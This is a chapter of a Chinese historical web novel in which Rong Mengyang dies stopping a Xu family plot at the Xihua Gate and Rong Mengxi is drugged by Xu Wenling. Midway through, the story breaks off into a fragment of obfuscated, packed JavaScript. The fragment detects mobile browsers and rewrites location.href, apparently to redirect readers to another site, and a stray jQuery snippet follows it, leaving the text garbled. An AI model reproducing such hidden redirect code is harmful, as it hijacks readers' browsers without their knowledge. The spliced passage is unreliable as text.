容梦阳在沈宗芳来浔阳侯府说明来意,容侯和容三爷都整装出行的时候,突然拦住了他们说,他也要一起去。
容三爷迟疑了片刻:“许家不知安排了什么手段——”
“三叔,危险对谁不都是危险么?”容梦阳打断了他,“我知道我兵马功夫荒废已久,但毕竟小时候的底子在,总比寻常百姓强吧?见机行事总是使得的。”
他这样一说,容三爷还没说什么,容侯先欣慰地拍了拍他的肩:“你能有这份心,这很好。我知道,这些日子你也想了不少东西吧?我还是那句话,你做了错事,但不是错只在你。就从今日起慢慢还吧。”
容三爷便也拍了拍他,和容侯一道先去和沈宗芳汇合。
两位长辈的欣慰容梦阳看在眼里,腰也挺得更直了些——但只有他知道自己只不过是装腔作势罢了。
其实他怕得要死。
许家的疯狂他如今已经领教过了,更何况他还是浔阳侯府的人,谁知道这一趟出门会遇上什么事?
但……
他想起了送容梦溪出嫁的那天。
妹妹生得娇小,背在背上也轻得很,可他仿佛担了千斤重的担子,背着她一步也迈不出去。
他第一次那样鲜明的意识到,他在亲手把妹妹送进火坑。
不是今天,而是这漫长的一天天、一年年堆积至今。
父亲对他说,因为他们没有教好他,甚至没有教他,才有如今之祸,不能全怪他。
但他这一次听起来,却没有从前那样的轻松自得。
父亲和三叔对他讲了很多,他朦朦胧胧也听得懂。
但真正刻在他心里的是妹妹跟他说的那些话。
妹妹,她身为女子,看到的却不是侯府这三寸天地。
他隐约感觉到了妹妹和他看到的不是同样的东西,他甚至生出了一些说不清的惭愧。
他想看到妹妹眼中的那个浔阳侯府,那一定是和他截然不同的东西。
容梦阳把汗湿的手藏进袖子里,跟着父亲和三叔的脚步跑了出去。
他在火光熊熊的京城里做了不少事,带着护卫拦下了地痞,把埋在倒塌屋檐下的一对母子救了出来——直到他遇到了明枢。
明枢看见他时明显犹豫了片刻,还是走上来和他见了礼,他原本想着这人还是这样死板,没想到明枢道:“容世——容公子,浔阳侯可在这附近?我有话跟他说。”
容梦阳随口应付了他几句,让他有话可以先告诉自己。
明枢便把明蘅的推测原原本本说了出来:“许家闹成这样,定然不是只为了作乱京师。娘娘猜测,他们败局已定,说不定是想逃了。几处火场都在城东,娘娘担心西华门生变。”
容梦阳一愣。
沈宗芳来侯府时,只说这定然是许家作乱,要赶紧稳定下城中事态。
原来他们还有后手啊……
容梦阳来不及多想,叫来了几个护卫让他们赶紧去找父亲和三叔,转头就朝西华门跑去。
明枢在身后叫他:“容公子,你这是干什么去?”
他回头高声道:“我先去看看!若有万一,也能争取点时间!”
明枢在他身后似乎犹豫了一下也跟了上来。他虽然对这姓明的没什么好印象,想了想还是劝道:“此行凶险,你还是别来了。”
明枢却只是摇了摇头,坚定地说:“家国有难,岂有旁观之理。”
容梦阳心中一顿,没有再多说什么,只是扭头加快了脚步。
两人到了西华门一看,果然此地人声沸腾,个个都高喊着要守城的将士开门。
眼见就要失控,人群里不知谁高喊了一声:“城中生灵涂炭,逃生的路就在眼前却不肯放我们出去,这些人莫不是许家派来的,就是想把我们困死在这里?”
此言一出,宛如一滴沸水掉进了油锅里,人群彻底不受控制地沸腾起来。
容梦阳暗道一声“不好”,连连挥手想让护卫把那几个藏在人群里说话的人抓出来。
可惜为时已晚,红了眼的百姓顾不得来的是谁,挡在面前的又是谁,一股脑只顾着朝西华门蜂拥而上。
守城的将士和容梦阳带来的护卫,连同他本人——还有明枢——既不想胡乱伤了百姓,又要把他们拦回去,一时真是狼狈不堪。
对拳脚功夫一窍不通的明枢没多久就在头上挂了彩。
容梦阳见势不妙,连忙把明枢推倒一边道:“你赶紧去找七王爷也过来,许家人一定是混在人群里了,那将士里哪些是他们的人我们又分不清,只怕拦不住!”
明枢连连摆手:“那你孤身——”
“别废话了,快走。我好歹小时候也是我爹开蒙学的拳脚——快走,报信要紧!”
明枢这才捂着脑袋转身离去。等他一走,容梦阳一转身回来,却瞥见有个人鬼鬼祟祟拿着什么东西靠近了人群——
那东西寒光一闪,他认出了,是匕首。
他不知道那一刻他脑子里怎么能有那么多想法,但它们就是飞快地串联了起来:许家要在这里动手杀人,再说成是守城将士行凶激起民愤。
不能让他们得逞!
他没有再多想,也没有那么多的时间给他多想,只来得及高喝一声:“什么人,住手!”便冲向了那凶徒。
他的话并不是宽慰明枢的,虽说后来功夫荒废了,幼时的底子当真打得不错,又是他出其不意,一个手刀下去还真把那凶徒的匕首打落在地——
但紧跟着他背心一凉,一股剧痛就这样扩散开来。
小时候爹明明教过他兵法里说“分险相拒,必察其伏”……他怎么会蠢到忘了小心埋伏呢。
容梦阳喘了一口气跌倒在地。背上的湿热已经在不住地扩散,他眼前渐渐看不清东西,也听不清周围的喧嚣嘈杂。
他抬起头想要看看天空,但高高的城墙挡住了他的视野,他什么也没有看见。
可是那城墙,他从来没有这样看过它。
千百年的岁月里它一直在这里吧。任凭雨打风吹,时过境迁,它总是在这里以不可动摇的姿态挺立。
那才是不可撼动的护佑。
那才是磐石之固。
他觉得……他觉得他有一点懂了。可惜,只来得及那一点了。
-
沈宗芳赶到时,西华门到底还是大开着,几个气喘吁吁的士兵正在收拾残局。
见他来了,领头的一个小校过来对他行了礼,将先前的事一一说来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033124|172714||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“……有几个人,如今看来必是被许家买通的了,趁着城下出了人命大乱时悄悄去给城门开了条缝……唉,那等情形下哪里还关的上?”
沈宗芳静静听完了,也没再追问他旁的,只说:“容公子呢?”
小校带沈宗芳走到了一旁。他们不敢随意处置了容梦阳的尸身,只好先让他靠着墙,找了几个士兵看守。
沈宗芳蹲在了容梦阳身前。
他面色平静,似乎很安详的样子。
沈宗芳撑在地上的手慢慢捏成了拳。
逝川红了眼,咬牙问道:“王爷,咱们要不要追上去?许家人兴许还没跑远。”
沈宗芳轻轻吐了口气,站起身来:“不。”
“我们去许家。”
-
许文岭差人来请容梦溪时,她是真切地吓了一跳。
她还道许家早就该乱套了呢,谁知许文岭什么时候醒来的她竟然一点儿消息也没听到。
容梦溪一边暗道此人果然是心腹大患,一边跟着秋成走了。
她大事已成,对着许文岭这病秧子没什么好怕的。若是他要和她算账,那浔阳侯府也有得是要算的。
但许文岭只是安安静静坐在后花园中,见她来了,还给她斟了杯茶水。
容梦溪万分警惕地看着那茶水,一口也没准备喝。
许文岭失笑道:“难道你疑心我要毒死你?……罢了,也是理所应当。”
他拿过容梦溪的杯子喝了一口,又把自己那杯茶换给她:“若还不放心,这杯我也喝了就是。”
容梦溪虽然并不觉得自己对许家人提防算得上什么“小人之心度君子之腹”的,但想想许文岭还算自己的救命恩人,也硬不起脾气,端起茶来喝了一口道:“你究竟想说什么?”
“许家还是太小看你了,是么?”许文岭叹了口气,“连我也没想到,藏起几张纸、销毁几张纸,简简单单几句挑拨的话,就能落下将死许家的最后一子。”
“还是出自你手。”
“这有什么奇怪的。”容梦溪冷哼了一声,“没想到你们当初以为可以轻易玩弄在鼓掌中的人有这样的本事?”
许文岭一笑就咳个不停:“兴许吧。如果你们可是大获全胜了,你开心么?”
“这能叫大获全胜么?我们付出了那么多代价……”容梦溪摇了摇头,“这只能说邪不压正。”
她话说得够不客气了,但许文岭却还是一副乐在其中的样子不与她争辩,只是看着她笑。
实不相瞒容梦溪来了许家这些日子,还没见许文岭这样开怀过。
有什么好乐的,失心疯了?
“我只是确实高兴罢了。你知道么,其实我能高兴的时日并不多。”
许文岭平缓的声音慢慢地说着,说着,说他那些容梦溪不感兴趣的过往。
容梦溪渐渐抑制不住地困倦起来。
她心里大怒,就想拍案而起指着他的鼻子骂他人面兽心,果然还是给她下药了!
但她起不来。
她的头快要撞到石桌的那一刻,她感觉自己落入了一个温暖的掌心……耳边响起来了地动山摇的爆鸣声。
“以后,你就开心些吧。”
隐隐有人这么说。